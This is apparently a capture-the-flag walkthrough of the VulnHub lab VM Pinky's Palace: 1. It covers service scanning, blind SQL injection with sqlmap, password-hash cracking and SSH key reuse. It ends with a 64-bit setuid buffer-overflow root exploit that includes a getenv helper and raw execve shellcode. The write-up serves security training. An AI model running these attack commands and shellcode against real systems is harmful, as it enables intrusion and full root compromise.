This post documents the complete walkthrough of Pinky’s Palace: 1, a boot2root VM created by Pink_Panther, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.
On this post
Background
Pinky is creating his own website! He has began setting up services and some simple web applications.
Information Gathering
Let’s kick this off with a nmap
scan to establish the services available in the host.
# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 192.168.30.4
...
PORT STATE SERVICE REASON VERSION
8080/tcp open http syn-ack ttl 64 nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: 403 Forbidden
31337/tcp open http-proxy syn-ack ttl 64 Squid http proxy 3.5.23
|_http-server-header: squid/3.5.23
|_http-title: ERROR: The requested URL could not be retrieved
64666/tcp open ssh syn-ack ttl 64 OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
| 2048 df:02:12:4f:4c:6d:50:27:6a:84:e9:0e:5b:65:bf:a0 (RSA)
|_ 256 0a:ad:aa:c7:16:f7:15:07:f0:a8:50:23:17:f3:1c:2e (ECDSA)
The web server always returns 403 Forbidden
, no matter what I do, which is frustrating. Even when I pass the HTTP request through the proxy (squid), I still get the same response. An idea struck me when I went to the proxy at http://192.168.30.4:31337
—I should be using the hostname instead of the IP address!
Now, in full pink glory.
Directory/File Enumeration
Now that I’ve gotten over the first hurdle, let’s use dirbuster
to fuzz the directories/files. But first, we need to set up the proxy in dirbuster
.
Next, use a bigger wordlist to maximize the chances of getting a hit.
After dirbuster
has completed doing its thing, this is what I get.
Pinky’s Admin Files Login
This is the attack surface I see at http://pinkys-palace:8080/littlesecrets-main/
.
The form on this page points to login.php
and logs.php
logs any failed login attempts. Here’s an example when I use the credential (admin:admin
) to log in.
Notice logs.php
shows three parameters (user
, pass
and User-Agent
)? This calls for sqlmap
, which can test these parameters for SQLi far better and faster .
SQL Injection
According to sqlmap
usage wiki,
The HTTP
User-Agent
header is tested against SQL injection if the--level
is set to 3 or above.
Similarly, we need to set up proxy for sqlmap
to reach pinkys-palace
. Armed with all the information that we’ve gathered so far, it’s time to construct the sqlmap
command.
# sqlmap --level=3 --proxy=http://192.168.30.4:31337 --data="user=admin&pass=admin" --url=http://pinkys-palace:8080/littlesecrets-main/login.php
Here’s the test result from sqlmap
.
Awesome.
We have an injection point. Time-based blind SQLi as the name suggests, is time-consuming for enumeration because the technique is a lot like fishing—sqlmap
throws out a bait and waits for a fish to bite to confirm its existence.
Moving on, we can now determine the tables in the database.
Let’s dump the users
table from pinky_sec_db
.
Let’s crack these hashes with John the Ripper and “rockyou”.
# john --format=raw-md5 --show hashes.txt
pinkymanage:3pinkysaf33pinkysaf3::::::
1 password hash cracked, 1 left
Low-Privilege Shell
I’m able to log in to pinkymanage
’s account with the cracked password.
Ultra Secret Admin Files
I see ultrasecretadminf1l35
in littlesecrets-main
during enumeration of pinkymanage
’s account.
The file .ultrasecret
turns out to be the base64
encoded version of the RSA private key as hinted by note.txt
.
Hmm just in case I get locked out of my server I put this rsa key here.. Nobody will find it heh..
I place the decoded RSA private key in /tmp
and change its permissions, but I still can’t determine who is the key owner because the information is not stored in the key.
Looking at /etc/passwd
confirms the existence of pinky
. Thank goodness!
Perhaps I can use the RSA private key to log in to pinky
’s account, assuming /home/pinky/.ssh/authorized_keys
has the corresponding public key? Well, let’s find out.
Sweet.
Privilege Escalation
I see adminhelper
at the home directory and it has been setuid
to root
during enumeration of pinky
’s account.
There’s an accompanying note as well.
I’m certain that we are looking at a classic stack buffer overflow as the following supports that suspicion.
Image shows ASLR disabled.
Image shows the stack is executable.
It’s fortunate that adminhelper
is small and simple. This is how the disassembly of the main function looks like.
This certainly brought back fond memories of 32-bit Linux exploit development. I’m pretty excited to try my hands on 64-bit Linux exploit development. Notice the 64-bit registers (e.g. rax) and how arguments pass through registers instead of the stack?
I use scp
to download a copy of adminhelper
to my Kali VM where gdb
and PEDA are available. PEDA will greatly assist in the exploit development such as finding the correct offset as well as presenting the disassembly context in color.
Here, I create a random pattern of 80 bytes and save it in buf
. Why 80 bytes? Even though it’s optional, notice the 80 (0x50
) bytes of space allocated in the stack? This is to make way for the destination buffer in strcpy()
.
Next, I run adminhelper
with the supplied argument.
This triggers a segmentation fault.
Next, examine the string (“IAAEAA4A
”) at the stack to determine the offset.
Verify that the offset is able to control the RIP register.
Even though the stack aligns along the 8-byte boundary, the return address in the stack is 6 bytes.
Now that we can control RIP with the offset at 72 bytes, we can place our shellcode in an environment variable and use the following code to determine the memory address of the environment variable, where the shellcode is. This will be our return address in the exploit.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}
Since we are using the environment variable to store our payload, the size of the payload shouldn’t be an issue. Having said that, I still prefer a minimalist approach and decide to use the shortest possible 64-bit shellcode (27 bytes) to execute /bin/sh
.
\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05
Once we copy getenvaddr.c
over with scp
and compile it, it’s time to get the party going.
A perfectionist may argue that euid=0
is not a real root
shell. Well, that’s almost trivial to fix.